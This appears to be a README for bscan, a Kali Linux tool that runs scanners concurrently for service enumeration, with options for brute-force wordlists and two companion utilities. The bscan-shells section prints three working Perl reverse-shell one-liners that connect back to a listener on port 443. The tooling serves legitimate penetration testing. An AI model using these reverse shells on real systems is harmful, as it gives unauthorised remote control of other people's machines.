Bscan – An Asynchronous Target Enumeration Tool

Synopsisbscan is a command-line utility to perform active information gathering and service enumeration. At its core, bscan asynchronously spawns processes of well-known scanning utilities, repurposing scan results into highlighted console output and a well-defined directory structure.Installationbscan was written to be run on Kali Linux, but there is nothing inherently preventing it from running on any OS with the appropriate tools installed.Download the latest packaged version from PyPI:pip install bscanOr get the bleeding-edge version from version control:pip install Usagebscan has a wide variety of configuration options which can be used to tune scans to your needs. Here’s a quick example:$ bscan \> –max-concurrency 3 \> –patterns [Mm]icrosoft \> –status-interval 10 \> –verbose-status \> scanme.nmap.orgWhat’s going on here?–max-concurrency 3 means that no more than 3 concurrent scan subprocesses will be run at a time–patterns [Mm]icrosoft defines a custom regex pattern with which to highlight matches in the generated scan output–status-interval 10 tells bscan to print runtime status updates every 10 seconds–verbose-status means that each of these status updates will print details of all currently-running scan is the host upon which we want to enumeratebscan also relies on some additional configuration files. The default files can be found in the bscan/configuation directory and serve the following purposes:patterns.txt specifies the regex patterns to be highlighted in console output when matched with scan outputrequired-programs.txt specifies the installed programs that bscan plans on usingport-scans.toml defines the port-discovering scans to be run on the target(s), as well as the regular expressions used to parse port numbers and service names from scan outputservice-scans.toml defines the scans be run on the target(s) on a per-service basisDetailed OptionsHere’s what you should see when running bscan –help:usage: bscan [OPTIONS] targets _| |__ ___ ___ __ _ _ __| ‘_ \/ __|/ __/ _` | ‘_ \| |_) \__ \ (__ (_| | | | ||_.__/|___/\___\__,_|_| |_|an asynchronous service enumeration toolpositional arguments: targets the targets and/or networks on which to perform enumerationoptional arguments: -h, –help show this help message and exit –brute-pass-list F filename of password list to use for brute-forcing –brute-user-list F filename of user list to use for brute-forcing –cmd-print-width I the maximum integer number of characters allowed when printing the command used to spawn a running subprocess (defaults to 80) –config-dir D the base directory from which to load the configuration files; required configuration files missing from this directory will instead be loaded from the default files shipped with this program –hard force overwrite of existing directories –max-concurrency I maximum integer number of subprocesses permitted to be running concurrently (defaults to 20) –no-program-check disable checking the presence of required system programs –no-file-check disable checking the presence of files such as configured wordlists –no-service-scans disable running scans on discovered services –output-dir D the base directory in which to write output files –patterns [ [ …]] regex patterns to highlight in output text –ping-sweep enable ping sweep filtering of hosts from a network range before running more intensive scans –quick-only whether to only run the quick scan (and not include the thorough scan over all ports) –qs-method S the method for performing the initial TCP port scan; must correspond to a configured port scan –status-interval I integer number of seconds to pause in between printing status updates; a non-positive value disables updates (defaults to 30) –ts-method S the method for performing the thorough TCP port scan; must correspond to a configured port scan –udp whether to run UDP scans –udp-method S the method for performing the UDP port scan; must correspond to a configured port scan –verbose-status whether to print verbose runtime status updates, based on frequency specified by `–status-interval` flag –version program version –web-word-list F the wordlist to use for scansCompanion ToolsThe main bscan program ships with two utility programs (bscan-wordlists and bscan-shells) to make your life a little easier when looking for wordlists and trying to open reverse shells.bscan-wordlists is a program designed for finding wordlist files on Kali Linux. It searches a few default directories and allows for glob filename matching. Here’s a simple example:$ bscan-wordlists –find “*win*"/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt/usr/share/wordlists/metasploit/sensitive_files_win.txt/usr/share/seclists/Passwords/common-passwords-win.txtTry bscan-wordlists –help to explore other options.bscan-shells is a program that will generate a variety of reverse shell one-liners with target and port fields populated for you. Here’s a simple example to list all Perl-based shells, configured to connect back to on port 443:$ bscan-shells –port 443 | grep -i -A1 perlperl for windowsperl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’perl with /bin/shperl -e ‘use Socket;$i="";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’perl without /bin/shperl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’Note that bscan-shells pulls these commands from the reverse-shells.toml configuration file. Try bscan-shells –help to explore other options.DevelopmentStart by setting up a new development environment and installing the requirements (using virtualenvwrapper / virtualenvwrapper-win):# setup the environmentmkvirtualenv -p $(which python3) bscan-devworkon bscan-dev# get the depspip install -r dev-requirements.txtLint and type-check the project (these are run on Travis, too):flake8 . && mypy bscanWhen it’s time to package a new release:# build source and wheel distributionspython bdist_wheel sdist# run post-build checkstwine check dist/*# upload to PyPItwine upload dist/*Download Bscan